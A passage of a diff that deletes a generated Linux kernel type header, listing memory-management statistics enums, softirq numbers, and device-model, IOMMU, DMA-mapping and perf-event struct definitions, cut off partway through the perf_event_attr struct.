- NR_ZONE_INACTIVE_ANON = 1, - NR_ZONE_ACTIVE_ANON = 2, - NR_ZONE_INACTIVE_FILE = 3, - NR_ZONE_ACTIVE_FILE = 4, - NR_ZONE_UNEVICTABLE = 5, - NR_ZONE_WRITE_PENDING = 6, - NR_MLOCK = 7, - NR_BOUNCE = 8, - NR_FREE_CMA_PAGES = 9, - NR_VM_ZONE_STAT_ITEMS = 10, -}; - -enum node_stat_item { - NR_LRU_BASE = 0, - NR_INACTIVE_ANON = 0, - NR_ACTIVE_ANON = 1, - NR_INACTIVE_FILE = 2, - NR_ACTIVE_FILE = 3, - NR_UNEVICTABLE = 4, - NR_SLAB_RECLAIMABLE_B = 5, - NR_SLAB_UNRECLAIMABLE_B = 6, - NR_ISOLATED_ANON = 7, - NR_ISOLATED_FILE = 8, - WORKINGSET_NODES = 9, - WORKINGSET_REFAULT_BASE = 10, - WORKINGSET_REFAULT_ANON = 10, - WORKINGSET_REFAULT_FILE = 11, - WORKINGSET_ACTIVATE_BASE = 12, - WORKINGSET_ACTIVATE_ANON = 12, - WORKINGSET_ACTIVATE_FILE = 13, - WORKINGSET_RESTORE_BASE = 14, - WORKINGSET_RESTORE_ANON = 14, - WORKINGSET_RESTORE_FILE = 15, - WORKINGSET_NODERECLAIM = 16, - NR_ANON_MAPPED = 17, - NR_FILE_MAPPED = 18, - NR_FILE_PAGES = 19, - NR_FILE_DIRTY = 20, - NR_WRITEBACK = 21, - NR_WRITEBACK_TEMP = 22, - NR_SHMEM = 23, - NR_SHMEM_THPS = 24, - NR_SHMEM_PMDMAPPED = 25, - NR_FILE_THPS = 26, - NR_FILE_PMDMAPPED = 27, - NR_ANON_THPS = 28, - NR_VMSCAN_WRITE = 29, - NR_VMSCAN_IMMEDIATE = 30, - NR_DIRTIED = 31, - NR_WRITTEN = 32, - NR_THROTTLED_WRITTEN = 33, - NR_KERNEL_MISC_RECLAIMABLE = 34, - NR_FOLL_PIN_ACQUIRED = 35, - NR_FOLL_PIN_RELEASED = 36, - NR_KERNEL_STACK_KB = 37, - NR_PAGETABLE = 38, - NR_SECONDARY_PAGETABLE = 39, - NR_SWAPCACHE = 40, - PGPROMOTE_SUCCESS = 41, - PGPROMOTE_CANDIDATE = 42, - NR_VM_NODE_STAT_ITEMS = 43, -}; - -enum lru_list { - LRU_INACTIVE_ANON = 0, - LRU_ACTIVE_ANON = 1, - LRU_INACTIVE_FILE = 2, - LRU_ACTIVE_FILE = 3, - LRU_UNEVICTABLE = 4, - NR_LRU_LISTS = 5, -}; - -enum vmscan_throttle_state { - VMSCAN_THROTTLE_WRITEBACK = 0, - VMSCAN_THROTTLE_ISOLATED = 1, - VMSCAN_THROTTLE_NOPROGRESS = 2, - VMSCAN_THROTTLE_CONGESTED = 3, - NR_VMSCAN_THROTTLE = 4, -}; - -enum zone_watermarks { - WMARK_MIN = 0, - WMARK_LOW = 1, - WMARK_HIGH = 2, - WMARK_PROMO = 3, - NR_WMARK = 4, -}; - -enum { - ZONELIST_FALLBACK = 0, - ZONELIST_NOFALLBACK = 1, - MAX_ZONELISTS = 2, -}; - -enum { - HI_SOFTIRQ = 0, - TIMER_SOFTIRQ = 1, - NET_TX_SOFTIRQ = 2, - NET_RX_SOFTIRQ = 3, - BLOCK_SOFTIRQ = 4, - IRQ_POLL_SOFTIRQ = 5, - TASKLET_SOFTIRQ = 6, - SCHED_SOFTIRQ = 7, - HRTIMER_SOFTIRQ = 8, - RCU_SOFTIRQ = 9, - NR_SOFTIRQS = 10, -}; - -typedef void (*swap_func_t)(void *, void *, int); - -typedef int (*cmp_func_t)(const void *, const void *); - -typedef struct cpumask cpumask_var_t[1]; - -struct irq_affinity { - unsigned int pre_vectors; - unsigned int post_vectors; - unsigned int nr_sets; - unsigned int set_size[4]; - void (*calc_sets)(struct irq_affinity *, unsigned int); - void *priv; -}; - -struct irq_affinity_desc { - struct cpumask mask; - unsigned int is_managed: 1; -}; - -enum kmalloc_cache_type { - KMALLOC_NORMAL = 0, - KMALLOC_CGROUP = 1, - KMALLOC_RECLAIM = 2, - KMALLOC_DMA = 3, - NR_KMALLOC_TYPES = 4, -}; - -struct node_vectors { - unsigned int id; - union { - unsigned int nvectors; - unsigned int ncpus; - }; -}; - -typedef long unsigned int uintptr_t; - -typedef u64 dma_addr_t; - -struct range { - u64 start; - u64 end; -}; - -typedef long unsigned int pteval_t; - -typedef long unsigned int pmdval_t; - -typedef long unsigned int pudval_t; - -typedef struct { - pteval_t pte; -} pte_t; - -typedef struct { - pudval_t pud; -} pud_t; - -typedef struct { - pmdval_t pmd; -} pmd_t; - -struct vmem_altmap { - long unsigned int base_pfn; - const long unsigned int end_pfn; - const long unsigned int reserve; - long unsigned int free; - long unsigned int align; - long unsigned int alloc; -}; - -struct percpu_ref_data; - -struct percpu_ref { - long unsigned int percpu_count_ptr; - struct percpu_ref_data *data; -}; - -enum memory_type { - MEMORY_DEVICE_PRIVATE = 1, - MEMORY_DEVICE_COHERENT = 2, - MEMORY_DEVICE_FS_DAX = 3, - MEMORY_DEVICE_GENERIC = 4, - MEMORY_DEVICE_PCI_P2PDMA = 5, -}; - -struct dev_pagemap_ops; - -struct dev_pagemap { - struct vmem_altmap altmap; - struct percpu_ref ref; - struct completion done; - enum memory_type type; - unsigned int flags; - long unsigned int vmemmap_shift; - const struct dev_pagemap_ops *ops; - void *owner; - int nr_range; - union { - struct range range; - struct range ranges[0]; - }; -}; - -enum fault_flag { - FAULT_FLAG_WRITE = 1, - FAULT_FLAG_MKWRITE = 2, - FAULT_FLAG_ALLOW_RETRY = 4, - FAULT_FLAG_RETRY_NOWAIT = 8, - FAULT_FLAG_KILLABLE = 16, - FAULT_FLAG_TRIED = 32, - FAULT_FLAG_USER = 64, - FAULT_FLAG_REMOTE = 128, - FAULT_FLAG_INSTRUCTION = 256, - FAULT_FLAG_INTERRUPTIBLE = 512, - FAULT_FLAG_UNSHARE = 1024, - FAULT_FLAG_ORIG_PTE_VALID = 2048, -}; - -struct vm_fault { - const struct { - struct vm_area_struct *vma; - gfp_t gfp_mask; - long unsigned int pgoff; - long unsigned int address; - long unsigned int real_address; - }; - enum fault_flag flags; - pmd_t *pmd; - pud_t *pud; - union { - pte_t orig_pte; - pmd_t orig_pmd; - }; - struct page *cow_page; - struct page *page; - pte_t *pte; - spinlock_t *ptl; - pgtable_t prealloc_pte; -}; - -typedef void percpu_ref_func_t(struct percpu_ref *); - -struct percpu_ref_data { - atomic_long_t count; - percpu_ref_func_t *release; - percpu_ref_func_t *confirm_switch; - bool force_atomic: 1; - bool allow_reinit: 1; - struct callback_head rcu; - struct percpu_ref *ref; -}; - -struct dev_pagemap_ops { - void (*page_free)(struct page *); - vm_fault_t (*migrate_to_ram)(struct vm_fault *); - int (*memory_failure)(struct dev_pagemap *, long unsigned int, long unsigned int, int); -}; - -enum { - DQF_ROOT_SQUASH_B = 0, - DQF_SYS_FILE_B = 16, - DQF_PRIVATE = 17, -}; - -enum { - DQST_LOOKUPS = 0, - DQST_DROPS = 1, - DQST_READS = 2, - DQST_WRITES = 3, - DQST_CACHE_HITS = 4, - DQST_ALLOC_DQUOTS = 5, - DQST_FREE_DQUOTS = 6, - DQST_SYNCS = 7, - _DQST_DQSTAT_LAST = 8, -}; - -enum { - SB_UNFROZEN = 0, - SB_FREEZE_WRITE = 1, - SB_FREEZE_PAGEFAULT = 2, - SB_FREEZE_FS = 3, - SB_FREEZE_COMPLETE = 4, -}; - -enum compound_dtor_id { - NULL_COMPOUND_DTOR = 0, - COMPOUND_PAGE_DTOR = 1, - HUGETLB_PAGE_DTOR = 2, - TRANSHUGE_PAGE_DTOR = 3, - NR_COMPOUND_DTORS = 4, -}; - -enum vm_event_item { - PGPGIN = 0, - PGPGOUT = 1, - PSWPIN = 2, - PSWPOUT = 3, - PGALLOC_DMA = 4, - PGALLOC_DMA32 = 5, - PGALLOC_NORMAL = 6, - PGALLOC_MOVABLE = 7, - ALLOCSTALL_DMA = 8, - ALLOCSTALL_DMA32 = 9, - ALLOCSTALL_NORMAL = 10, - ALLOCSTALL_MOVABLE = 11, - PGSCAN_SKIP_DMA = 12, - PGSCAN_SKIP_DMA32 = 13, - PGSCAN_SKIP_NORMAL = 14, - PGSCAN_SKIP_MOVABLE = 15, - PGFREE = 16, - PGACTIVATE = 17, - PGDEACTIVATE = 18, - PGLAZYFREE = 19, - PGFAULT = 20, - PGMAJFAULT = 21, - PGLAZYFREED = 22, - PGREFILL = 23, - PGREUSE = 24, - PGSTEAL_KSWAPD = 25, - PGSTEAL_DIRECT = 26, - PGDEMOTE_KSWAPD = 27, - PGDEMOTE_DIRECT = 28, - PGSCAN_KSWAPD = 29, - PGSCAN_DIRECT = 30, - PGSCAN_DIRECT_THROTTLE = 31, - PGSCAN_ANON = 32, - PGSCAN_FILE = 33, - PGSTEAL_ANON = 34, - PGSTEAL_FILE = 35, - PGSCAN_ZONE_RECLAIM_FAILED = 36, - PGINODESTEAL = 37, - SLABS_SCANNED = 38, - KSWAPD_INODESTEAL = 39, - KSWAPD_LOW_WMARK_HIT_QUICKLY = 40, - KSWAPD_HIGH_WMARK_HIT_QUICKLY = 41, - PAGEOUTRUN = 42, - PGROTATED = 43, - DROP_PAGECACHE = 44, - DROP_SLAB = 45, - OOM_KILL = 46, - NUMA_PTE_UPDATES = 47, - NUMA_HUGE_PTE_UPDATES = 48, - NUMA_HINT_FAULTS = 49, - NUMA_HINT_FAULTS_LOCAL = 50, - NUMA_PAGE_MIGRATE = 51, - PGMIGRATE_SUCCESS = 52, - PGMIGRATE_FAIL = 53, - THP_MIGRATION_SUCCESS = 54, - THP_MIGRATION_FAIL = 55, - THP_MIGRATION_SPLIT = 56, - COMPACTMIGRATE_SCANNED = 57, - COMPACTFREE_SCANNED = 58, - COMPACTISOLATED = 59, - COMPACTSTALL = 60, - COMPACTFAIL = 61, - COMPACTSUCCESS = 62, - KCOMPACTD_WAKE = 63, - KCOMPACTD_MIGRATE_SCANNED = 64, - KCOMPACTD_FREE_SCANNED = 65, - HTLB_BUDDY_PGALLOC = 66, - HTLB_BUDDY_PGALLOC_FAIL = 67, - CMA_ALLOC_SUCCESS = 68, - CMA_ALLOC_FAIL = 69, - UNEVICTABLE_PGCULLED = 70, - UNEVICTABLE_PGSCANNED = 71, - UNEVICTABLE_PGRESCUED = 72, - UNEVICTABLE_PGMLOCKED = 73, - UNEVICTABLE_PGMUNLOCKED = 74, - UNEVICTABLE_PGCLEARED = 75, - UNEVICTABLE_PGSTRANDED = 76, - THP_FAULT_ALLOC = 77, - THP_FAULT_FALLBACK = 78, - THP_FAULT_FALLBACK_CHARGE = 79, - THP_COLLAPSE_ALLOC = 80, - THP_COLLAPSE_ALLOC_FAILED = 81, - THP_FILE_ALLOC = 82, - THP_FILE_FALLBACK = 83, - THP_FILE_FALLBACK_CHARGE = 84, - THP_FILE_MAPPED = 85, - THP_SPLIT_PAGE = 86, - THP_SPLIT_PAGE_FAILED = 87, - THP_DEFERRED_SPLIT_PAGE = 88, - THP_SPLIT_PMD = 89, - THP_SCAN_EXCEED_NONE_PTE = 90, - THP_SCAN_EXCEED_SWAP_PTE = 91, - THP_SCAN_EXCEED_SHARED_PTE = 92, - THP_SPLIT_PUD = 93, - THP_ZERO_PAGE_ALLOC = 94, - THP_ZERO_PAGE_ALLOC_FAILED = 95, - THP_SWPOUT = 96, - THP_SWPOUT_FALLBACK = 97, - BALLOON_INFLATE = 98, - BALLOON_DEFLATE = 99, - BALLOON_MIGRATE = 100, - SWAP_RA = 101, - SWAP_RA_HIT = 102, - KSM_SWPIN_COPY = 103, - COW_KSM = 104, - DIRECT_MAP_LEVEL2_SPLIT = 105, - DIRECT_MAP_LEVEL3_SPLIT = 106, - NR_VM_EVENT_ITEMS = 107, -}; - -struct fwnode_operations; - -struct device; - -struct fwnode_handle { - struct fwnode_handle *secondary; - const struct fwnode_operations *ops; - struct device *dev; - struct list_head suppliers; - struct list_head consumers; - u8 flags; -}; - -enum dev_dma_attr { - DEV_DMA_NOT_SUPPORTED = 0, - DEV_DMA_NON_COHERENT = 1, - DEV_DMA_COHERENT = 2, -}; - -struct fwnode_reference_args; - -struct fwnode_endpoint; - -struct fwnode_operations { - struct fwnode_handle * (*get)(struct fwnode_handle *); - void (*put)(struct fwnode_handle *); - bool (*device_is_available)(const struct fwnode_handle *); - const void * (*device_get_match_data)(const struct fwnode_handle *, const struct device *); - bool (*device_dma_supported)(const struct fwnode_handle *); - enum dev_dma_attr (*device_get_dma_attr)(const struct fwnode_handle *); - bool (*property_present)(const struct fwnode_handle *, const char *); - int (*property_read_int_array)(const struct fwnode_handle *, const char *, unsigned int, void *, size_t); - int (*property_read_string_array)(const struct fwnode_handle *, const char *, const char **, size_t); - const char * (*get_name)(const struct fwnode_handle *); - const char * (*get_name_prefix)(const struct fwnode_handle *); - struct fwnode_handle * (*get_parent)(const struct fwnode_handle *); - struct fwnode_handle * (*get_next_child_node)(const struct fwnode_handle *, struct fwnode_handle *); - struct fwnode_handle * (*get_named_child_node)(const struct fwnode_handle *, const char *); - int (*get_reference_args)(const struct fwnode_handle *, const char *, const char *, unsigned int, unsigned int, struct fwnode_reference_args *); - struct fwnode_handle * (*graph_get_next_endpoint)(const struct fwnode_handle *, struct fwnode_handle *); - struct fwnode_handle * (*graph_get_remote_endpoint)(const struct fwnode_handle *); - struct fwnode_handle * (*graph_get_port_parent)(struct fwnode_handle *); - int (*graph_parse_endpoint)(const struct fwnode_handle *, struct fwnode_endpoint *); - void * (*iomap)(struct fwnode_handle *, int); - int (*irq_get)(const struct fwnode_handle *, unsigned int); - int (*add_links)(struct fwnode_handle *); -}; - -enum dl_dev_state { - DL_DEV_NO_DRIVER = 0, - DL_DEV_PROBING = 1, - DL_DEV_DRIVER_BOUND = 2, - DL_DEV_UNBINDING = 3, -}; - -struct dev_links_info { - struct list_head suppliers; - struct list_head consumers; - struct list_head defer_sync; - enum dl_dev_state status; -}; - -struct pm_message { - int event; -}; - -typedef struct pm_message pm_message_t; - -enum rpm_request { - RPM_REQ_NONE = 0, - RPM_REQ_IDLE = 1, - RPM_REQ_SUSPEND = 2, - RPM_REQ_AUTOSUSPEND = 3, - RPM_REQ_RESUME = 4, -}; - -enum rpm_status { - RPM_INVALID = -1, - RPM_ACTIVE = 0, - RPM_RESUMING = 1, - RPM_SUSPENDED = 2, - RPM_SUSPENDING = 3, -}; - -struct wakeup_source; - -struct wake_irq; - -struct pm_subsys_data; - -struct dev_pm_qos; - -struct dev_pm_info { - pm_message_t power_state; - unsigned int can_wakeup: 1; - unsigned int async_suspend: 1; - bool in_dpm_list: 1; - bool is_prepared: 1; - bool is_suspended: 1; - bool is_noirq_suspended: 1; - bool is_late_suspended: 1; - bool no_pm: 1; - bool early_init: 1; - bool direct_complete: 1; - u32 driver_flags; - spinlock_t lock; - struct list_head entry; - struct completion completion; - struct wakeup_source *wakeup; - bool wakeup_path: 1; - bool syscore: 1; - bool no_pm_callbacks: 1; - unsigned int must_resume: 1; - unsigned int may_skip_resume: 1; - struct hrtimer suspend_timer; - u64 timer_expires; - struct work_struct work; - wait_queue_head_t wait_queue; - struct wake_irq *wakeirq; - atomic_t usage_count; - atomic_t child_count; - unsigned int disable_depth: 3; - unsigned int idle_notification: 1; - unsigned int request_pending: 1; - unsigned int deferred_resume: 1; - unsigned int needs_force_resume: 1; - unsigned int runtime_auto: 1; - bool ignore_children: 1; - unsigned int no_callbacks: 1; - unsigned int irq_safe: 1; - unsigned int use_autosuspend: 1; - unsigned int timer_autosuspends: 1; - unsigned int memalloc_noio: 1; - unsigned int links_count; - enum rpm_request request; - enum rpm_status runtime_status; - enum rpm_status last_status; - int runtime_error; - int autosuspend_delay; - u64 last_busy; - u64 active_time; - u64 suspended_time; - u64 accounting_timestamp; - struct pm_subsys_data *subsys_data; - void (*set_latency_tolerance)(struct device *, s32); - struct dev_pm_qos *qos; -}; - -struct irq_domain; - -struct msi_device_data; - -struct dev_msi_info { - struct irq_domain *domain; - struct msi_device_data *data; -}; - -struct dev_archdata {}; - -enum device_removable { - DEVICE_REMOVABLE_NOT_SUPPORTED = 0, - DEVICE_REMOVABLE_UNKNOWN = 1, - DEVICE_FIXED = 2, - DEVICE_REMOVABLE = 3, -}; - -struct device_private; - -struct device_type; - -struct bus_type; - -struct device_driver; - -struct dev_pm_domain; - -struct dma_map_ops; - -struct bus_dma_region; - -struct device_dma_parameters; - -struct cma; - -struct io_tlb_mem; - -struct device_node; - -struct class; - -struct iommu_group; - -struct dev_iommu; - -struct device_physical_location; - -struct device { - struct kobject kobj; - struct device *parent; - struct device_private *p; - const char *init_name; - const struct device_type *type; - struct bus_type *bus; - struct device_driver *driver; - void *platform_data; - void *driver_data; - struct mutex mutex; - struct dev_links_info links; - struct dev_pm_info power; - struct dev_pm_domain *pm_domain; - struct dev_msi_info msi; - const struct dma_map_ops *dma_ops; - u64 *dma_mask; - u64 coherent_dma_mask; - u64 bus_dma_limit; - const struct bus_dma_region *dma_range_map; - struct device_dma_parameters *dma_parms; - struct list_head dma_pools; - struct cma *cma_area; - struct io_tlb_mem *dma_io_tlb_mem; - struct dev_archdata archdata; - struct device_node *of_node; - struct fwnode_handle *fwnode; - int numa_node; - dev_t devt; - u32 id; - spinlock_t devres_lock; - struct list_head devres_head; - struct class *class; - const struct attribute_group **groups; - void (*release)(struct device *); - struct iommu_group *iommu_group; - struct dev_iommu *iommu; - struct device_physical_location *physical_location; - enum device_removable removable; - bool offline_disabled: 1; - bool offline: 1; - bool of_node_reused: 1; - bool state_synced: 1; - bool can_match: 1; -}; - -struct fwnode_endpoint { - unsigned int port; - unsigned int id; - const struct fwnode_handle *local_fwnode; -}; - -struct fwnode_reference_args { - struct fwnode_handle *fwnode; - unsigned int nargs; - u64 args[8]; -}; - -enum cpu_idle_type { - CPU_IDLE = 0, - CPU_NOT_IDLE = 1, - CPU_NEWLY_IDLE = 2, - CPU_MAX_IDLE_TYPES = 3, -}; - -enum { - __SD_BALANCE_NEWIDLE = 0, - __SD_BALANCE_EXEC = 1, - __SD_BALANCE_FORK = 2, - __SD_BALANCE_WAKE = 3, - __SD_WAKE_AFFINE = 4, - __SD_ASYM_CPUCAPACITY = 5, - __SD_ASYM_CPUCAPACITY_FULL = 6, - __SD_SHARE_CPUCAPACITY = 7, - __SD_SHARE_PKG_RESOURCES = 8, - __SD_SERIALIZE = 9, - __SD_ASYM_PACKING = 10, - __SD_PREFER_SIBLING = 11, - __SD_OVERLAP = 12, - __SD_NUMA = 13, - __SD_FLAG_CNT = 14, -}; - -struct dev_pm_ops { - int (*prepare)(struct device *); - void (*complete)(struct device *); - int (*suspend)(struct device *); - int (*resume)(struct device *); - int (*freeze)(struct device *); - int (*thaw)(struct device *); - int (*poweroff)(struct device *); - int (*restore)(struct device *); - int (*suspend_late)(struct device *); - int (*resume_early)(struct device *); - int (*freeze_late)(struct device *); - int (*thaw_early)(struct device *); - int (*poweroff_late)(struct device *); - int (*restore_early)(struct device *); - int (*suspend_noirq)(struct device *); - int (*resume_noirq)(struct device *); - int (*freeze_noirq)(struct device *); - int (*thaw_noirq)(struct device *); - int (*poweroff_noirq)(struct device *); - int (*restore_noirq)(struct device *); - int (*runtime_suspend)(struct device *); - int (*runtime_resume)(struct device *); - int (*runtime_idle)(struct device *); -}; - -struct pm_subsys_data { - spinlock_t lock; - unsigned int refcount; -}; - -struct wakeup_source { - const char *name; - int id; - struct list_head entry; - spinlock_t lock; - struct wake_irq *wakeirq; - struct timer_list timer; - long unsigned int timer_expires; - ktime_t total_time; - ktime_t max_time; - ktime_t last_time; - ktime_t start_prevent_time; - ktime_t prevent_sleep_time; - long unsigned int event_count; - long unsigned int active_count; - long unsigned int relax_count; - long unsigned int expire_count; - long unsigned int wakeup_count; - struct device *dev; - bool active: 1; - bool autosleep_enabled: 1; -}; - -struct dev_pm_domain { - struct dev_pm_ops ops; - int (*start)(struct device *); - void (*detach)(struct device *, bool); - int (*activate)(struct device *); - void (*sync)(struct device *); - void (*dismiss)(struct device *); -}; - -struct iommu_ops; - -struct subsys_private; - -struct bus_type { - const char *name; - const char *dev_name; - struct device *dev_root; - const struct attribute_group **bus_groups; - const struct attribute_group **dev_groups; - const struct attribute_group **drv_groups; - int (*match)(struct device *, struct device_driver *); - int (*uevent)(struct device *, struct kobj_uevent_env *); - int (*probe)(struct device *); - void (*sync_state)(struct device *); - void (*remove)(struct device *); - void (*shutdown)(struct device *); - int (*online)(struct device *); - int (*offline)(struct device *); - int (*suspend)(struct device *, pm_message_t); - int (*resume)(struct device *); - int (*num_vf)(struct device *); - int (*dma_configure)(struct device *); - void (*dma_cleanup)(struct device *); - const struct dev_pm_ops *pm; - const struct iommu_ops *iommu_ops; - struct subsys_private *p; - struct lock_class_key lock_key; - bool need_parent_lock; -}; - -enum probe_type { - PROBE_DEFAULT_STRATEGY = 0, - PROBE_PREFER_ASYNCHRONOUS = 1, - PROBE_FORCE_SYNCHRONOUS = 2, -}; - -struct of_device_id; - -struct acpi_device_id; - -struct driver_private; - -struct device_driver { - const char *name; - struct bus_type *bus; - struct module *owner; - const char *mod_name; - bool suppress_bind_attrs; - enum probe_type probe_type; - const struct of_device_id *of_match_table; - const struct acpi_device_id *acpi_match_table; - int (*probe)(struct device *); - void (*sync_state)(struct device *); - int (*remove)(struct device *); - void (*shutdown)(struct device *); - int (*suspend)(struct device *, pm_message_t); - int (*resume)(struct device *); - const struct attribute_group **groups; - const struct attribute_group **dev_groups; - const struct dev_pm_ops *pm; - void (*coredump)(struct device *); - struct driver_private *p; -}; - -enum iommu_cap { - IOMMU_CAP_CACHE_COHERENCY = 0, - IOMMU_CAP_INTR_REMAP = 1, - IOMMU_CAP_NOEXEC = 2, - IOMMU_CAP_PRE_BOOT_PROTECTION = 3, -}; - -enum iommu_dev_features { - IOMMU_DEV_FEAT_SVA = 0, - IOMMU_DEV_FEAT_IOPF = 1, -}; - -struct iommu_domain; - -struct iommu_device; - -struct of_phandle_args; - -struct iommu_sva; - -struct iommu_fault_event; - -struct iommu_page_response; - -struct iommu_domain_ops; - -struct iommu_ops { - bool (*capable)(struct device *, enum iommu_cap); - struct iommu_domain * (*domain_alloc)(unsigned int); - struct iommu_device * (*probe_device)(struct device *); - void (*release_device)(struct device *); - void (*probe_finalize)(struct device *); - struct iommu_group * (*device_group)(struct device *); - void (*get_resv_regions)(struct device *, struct list_head *); - int (*of_xlate)(struct device *, struct of_phandle_args *); - bool (*is_attach_deferred)(struct device *); - int (*dev_enable_feat)(struct device *, enum iommu_dev_features); - int (*dev_disable_feat)(struct device *, enum iommu_dev_features); - struct iommu_sva * (*sva_bind)(struct device *, struct mm_struct *, void *); - void (*sva_unbind)(struct iommu_sva *); - u32 (*sva_get_pasid)(struct iommu_sva *); - int (*page_response)(struct device *, struct iommu_fault_event *, struct iommu_page_response *); - int (*def_domain_type)(struct device *); - const struct iommu_domain_ops *default_domain_ops; - long unsigned int pgsize_bitmap; - struct module *owner; -}; - -struct device_type { - const char *name; - const struct attribute_group **groups; - int (*uevent)(struct device *, struct kobj_uevent_env *); - char * (*devnode)(struct device *, umode_t *, kuid_t *, kgid_t *); - void (*release)(struct device *); - const struct dev_pm_ops *pm; -}; - -struct class { - const char *name; - struct module *owner; - const struct attribute_group **class_groups; - const struct attribute_group **dev_groups; - struct kobject *dev_kobj; - int (*dev_uevent)(struct device *, struct kobj_uevent_env *); - char * (*devnode)(struct device *, umode_t *); - void (*class_release)(struct class *); - void (*dev_release)(struct device *); - int (*shutdown_pre)(struct device *); - const struct kobj_ns_type_operations *ns_type; - const void * (*namespace)(struct device *); - void (*get_ownership)(struct device *, kuid_t *, kgid_t *); - const struct dev_pm_ops *pm; - struct subsys_private *p; -}; - -struct of_device_id { - char name[32]; - char type[32]; - char compatible[128]; - const void *data; -}; - -typedef long unsigned int kernel_ulong_t; - -struct acpi_device_id { - __u8 id[16]; - kernel_ulong_t driver_data; - __u32 cls; - __u32 cls_msk; -}; - -struct device_dma_parameters { - unsigned int max_segment_size; - unsigned int min_align_mask; - long unsigned int segment_boundary_mask; -}; - -enum device_physical_location_panel { - DEVICE_PANEL_TOP = 0, - DEVICE_PANEL_BOTTOM = 1, - DEVICE_PANEL_LEFT = 2, - DEVICE_PANEL_RIGHT = 3, - DEVICE_PANEL_FRONT = 4, - DEVICE_PANEL_BACK = 5, - DEVICE_PANEL_UNKNOWN = 6, -}; - -enum device_physical_location_vertical_position { - DEVICE_VERT_POS_UPPER = 0, - DEVICE_VERT_POS_CENTER = 1, - DEVICE_VERT_POS_LOWER = 2, -}; - -enum device_physical_location_horizontal_position { - DEVICE_HORI_POS_LEFT = 0, - DEVICE_HORI_POS_CENTER = 1, - DEVICE_HORI_POS_RIGHT = 2, -}; - -struct device_physical_location { - enum device_physical_location_panel panel; - enum device_physical_location_vertical_position vertical_position; - enum device_physical_location_horizontal_position horizontal_position; - bool dock; - bool lid; -}; - -enum dma_data_direction { - DMA_BIDIRECTIONAL = 0, - DMA_TO_DEVICE = 1, - DMA_FROM_DEVICE = 2, - DMA_NONE = 3, -}; - -struct sg_table; - -struct scatterlist; - -struct dma_map_ops { - unsigned int flags; - void * (*alloc)(struct device *, size_t, dma_addr_t *, gfp_t, long unsigned int); - void (*free)(struct device *, size_t, void *, dma_addr_t, long unsigned int); - struct page * (*alloc_pages)(struct device *, size_t, dma_addr_t *, enum dma_data_direction, gfp_t); - void (*free_pages)(struct device *, size_t, struct page *, dma_addr_t, enum dma_data_direction); - struct sg_table * (*alloc_noncontiguous)(struct device *, size_t, enum dma_data_direction, gfp_t, long unsigned int); - void (*free_noncontiguous)(struct device *, size_t, struct sg_table *, enum dma_data_direction); - int (*mmap)(struct device *, struct vm_area_struct *, void *, dma_addr_t, size_t, long unsigned int); - int (*get_sgtable)(struct device *, struct sg_table *, void *, dma_addr_t, size_t, long unsigned int); - dma_addr_t (*map_page)(struct device *, struct page *, long unsigned int, size_t, enum dma_data_direction, long unsigned int); - void (*unmap_page)(struct device *, dma_addr_t, size_t, enum dma_data_direction, long unsigned int); - int (*map_sg)(struct device *, struct scatterlist *, int, enum dma_data_direction, long unsigned int); - void (*unmap_sg)(struct device *, struct scatterlist *, int, enum dma_data_direction, long unsigned int); - dma_addr_t (*map_resource)(struct device *, phys_addr_t, size_t, enum dma_data_direction, long unsigned int); - void (*unmap_resource)(struct device *, dma_addr_t, size_t, enum dma_data_direction, long unsigned int); - void (*sync_single_for_cpu)(struct device *, dma_addr_t, size_t, enum dma_data_direction); - void (*sync_single_for_device)(struct device *, dma_addr_t, size_t, enum dma_data_direction); - void (*sync_sg_for_cpu)(struct device *, struct scatterlist *, int, enum dma_data_direction); - void (*sync_sg_for_device)(struct device *, struct scatterlist *, int, enum dma_data_direction); - void (*cache_sync)(struct device *, void *, size_t, enum dma_data_direction); - int (*dma_supported)(struct device *, u64); - u64 (*get_required_mask)(struct device *); - size_t (*max_mapping_size)(struct device *); - size_t (*opt_mapping_size)(); - long unsigned int (*get_merge_boundary)(struct device *); -}; - -struct bus_dma_region { - phys_addr_t cpu_start; - dma_addr_t dma_start; - u64 size; - u64 offset; -}; - -struct io_tlb_area; - -struct io_tlb_slot; - -struct io_tlb_mem { - phys_addr_t start; - phys_addr_t end; - void *vaddr; - long unsigned int nslabs; - long unsigned int used; - struct dentry *debugfs; - bool late_alloc; - bool force_bounce; - bool for_alloc; - unsigned int nareas; - unsigned int area_nslabs; - struct io_tlb_area *areas; - struct io_tlb_slot *slots; -}; - -struct scatterlist { - long unsigned int page_link; - unsigned int offset; - unsigned int length; - dma_addr_t dma_address; - unsigned int dma_length; -}; - -struct sg_table { - struct scatterlist *sgl; - unsigned int nents; - unsigned int orig_nents; -}; - -enum pci_p2pdma_map_type { - PCI_P2PDMA_MAP_UNKNOWN = 0, - PCI_P2PDMA_MAP_NOT_SUPPORTED = 1, - PCI_P2PDMA_MAP_BUS_ADDR = 2, - PCI_P2PDMA_MAP_THRU_HOST_BRIDGE = 3, -}; - -struct pci_p2pdma_map_state { - struct dev_pagemap *pgmap; - int map; - u64 bus_off; -}; - -typedef u16 uint16_t; - -struct xbc_node { - uint16_t next; - uint16_t child; - uint16_t parent; - uint16_t data; -}; - -struct pollfd { - int fd; - short int events; - short int revents; -}; - -struct seq_operations { - void * (*start)(struct seq_file *, loff_t *); - void (*stop)(struct seq_file *, void *); - void * (*next)(struct seq_file *, void *, loff_t *); - int (*show)(struct seq_file *, void *); -}; - -enum perf_event_state { - PERF_EVENT_STATE_DEAD = -4, - PERF_EVENT_STATE_EXIT = -3, - PERF_EVENT_STATE_ERROR = -2, - PERF_EVENT_STATE_OFF = -1, - PERF_EVENT_STATE_INACTIVE = 0, - PERF_EVENT_STATE_ACTIVE = 1, -}; - -typedef struct { - atomic_long_t a; -} local_t; - -typedef struct { - local_t a; -} local64_t; - -struct perf_event_attr { - __u32 type; - __u32 size; - __u64 config; - union { - __u64 sample_period; - __u64 sample_freq; - }; - __u64 sample_type; - __u64 read_format; - __u64 disabled: 1; - __u64 inherit: 1; - __u64 pinned: 1; - __u64 exclusive: 1; - __u64 exclude_user: 1; - __u64 exclude_kernel: 1; - __u64 exclude_hv: 1; - __u64 exclude_idle: 1; - __u64 mmap: 1; - __u64 comm: 1; - __u64 freq: 1; - __u64 inherit_stat: 1; - __u64 enable_on_exec: 1; - __u64 task: 1; - __u64 watermark: 1; - __u64 precise_ip: 2; - __u64 mmap_data: 1; - __u64 sample_id_all: 1; - __u64 exclude_host: 1; - __u64 exclude_guest: 1; - __u64 exclude_callchain_kernel: 1; - __u64 exclude_callchain_user: 1; - __u64 mmap2: 1; - __u64 comm_exec: 1; - __u64 use_clockid: 1; - __u64 context_switch: 